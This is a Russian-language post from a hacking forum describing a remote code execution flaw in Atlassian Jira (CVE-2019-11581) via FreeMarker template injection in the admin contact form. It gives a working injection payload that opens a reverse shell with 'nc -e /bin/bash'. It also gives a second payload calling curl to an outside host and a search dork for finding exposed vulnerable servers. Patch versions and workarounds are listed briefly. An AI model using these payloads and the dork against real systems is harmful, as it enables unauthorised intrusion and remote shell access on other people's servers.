• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Remote Code Execution (RCE) в Jira (CVE-2019–11581)

pablo

(L2) cache
Пользователь
Регистрация
01.02.2019
Сообщения
433
Реакции
1 524
Remote code execution in Atlassian Jira(CVE-2019–11581) through template engine FreeMaker.
В апреле месяце была обнаружена RCE в продукте Atlassian Confluence, а если быть точнее в плагине, который почти всегда там используется. И вот через 4 месяца еще одна RCE, но теперь уже в другом продукте - Jira.[/SIZE]

Proof-OF-Concept
Все это дело реализовывается через форму "Связаться с админом". По умолчанию он выключен, но у многих он включен. Jira использует компилирующий обработчик шаблонов - FreeMaker, написанный на Java. Зная это, получается сгенерировать несложный Payload.

Код:
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('nc -e /bin/bash server 80').waitFor()

rceinjira1.png


Затем идем к нам на сервер, где слушаем порт и видим, что есть бэкконект:

rceinjira2.png


Вуаля, у нас есть шелл. Чаще всего, это пользователь Jira, но есть также моменты, у кого запущен и от root. Подобный RCE, еще был в 2017 году в Spring Boot и снова Java и снова шаблонизатор FreeMaker, подробнее!

687474703a2f2f64656164706f6f6c2e73682f696d616765732f7263655f6e65772e6a7067.jpg


How To Fix?
Обновить!
Уязвимые версии:
  • 4.4.x
  • 5.x.x
  • 6.x.x
  • 7.0.x
  • 7.1.x
  • 7.2.x
  • 7.3.x
  • 7.4.x
  • 7.5.x
  • 7.6.x before 7.6.14 (the fixed version for 7.6.x)
  • 7.7.x
  • 7.8.x
  • 7.9.x
  • 7.10.x
  • 7.11.x
  • 7.12.x
  • 7.13.x before 7.13.5 (the fixed version for 7.13.x)
  • 8.0.x before 8.0.3 (the fixed version for 8.0.x)
  • 8.1.x before 8.1.2 (the fixed version for 8.1.x)
  • 8.2.x before 8.2.3 (the fixed version for 8.2.x)

Исправлено в версиях:
  • 7.6.14
  • 7.13.5
  • 8.0.3
  • 8.1.2
  • 8.2.3
Если нет возможности срочно обновится, то временным решением будет:
  • Отключить форму отправки сообщения Админам
  • Заблокировать доступ к эндпоинту /secure/admin/SendBulkMail!default.jspa

Дорк
Код:
inurl:/secure/ContactAdministrators!default.jspa

Payload
Java:
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://avtohanter.ru/rcetest?a=a').waitFor()

Всем удачи!


Автор @r0hack
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх